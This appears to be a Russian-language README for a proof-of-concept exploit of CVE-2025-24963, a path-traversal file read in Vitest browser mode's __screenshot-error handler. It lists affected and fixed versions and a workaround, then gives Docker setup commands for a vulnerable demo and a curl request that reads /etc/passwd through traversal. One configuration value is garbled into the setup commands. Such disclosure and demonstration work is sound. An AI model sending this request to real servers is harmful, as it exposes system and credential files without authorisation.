
Эксплойт доказательства концепции для CVE-2025-24963, уязвимости локального чтения файлов в режиме браузера Vitest через обработчик __screenshot-error, позволяющей раскрытие произвольных файлов на открытых серверах.
CVE-2025-24963 — это уязвимость средней степени серьезности (оценка CVSS 3.1: 5.9), затрагивающая пакет @vitest/browser, компонент фреймворка тестирования Vitest на основе Vite. Эта уязвимость возникает из-за неправильной проверки входных данных в обработчике __screenshot-error HTTP-сервера в режиме браузера. Если сервер открыт для сети с помощью опции конфигурации browser.api.host: true, злоумышленник может отправить специально созданные запросы для доступа к произвольным файлам в файловой системе сервера, что потенциально может привести к несанкционированному раскрытию конфиденциальной информации.
Уязвимость затрагивает следующие версии @vitest/browser:
Эта проблема была исправлена в версиях 2.1.9 и 3.0.4. Настоятельно рекомендуется обновить эти или более новые версии для устранения уязвимости.
Если немедленное обновление невозможно, временным обходным решением является избегание открытия сервера режима браузера для сети, не устанавливая в вашей конфигурации. Это предотвратит внешний доступ к уязвимому обработчику.
browser.api.host: truegit clone https://github.com/0xdeviner/CVE-2025-24963.git
cd CVE-2025-24963/vitest-vuln-demo
docker build -t vitest-cve-2025-24963 .
docker run -itd --name vitest-cve -p 63315:63315 vitest-cve-2025-24963
Примечание: Порт, используемый Vitest, является динамическим (например, 63315). Рекомендуется следить за логами и соответствующим образом настраивать флаг -p.
curl "http://<IP>:63315/__screenshot-error?file=../../../../../../etc/passwd"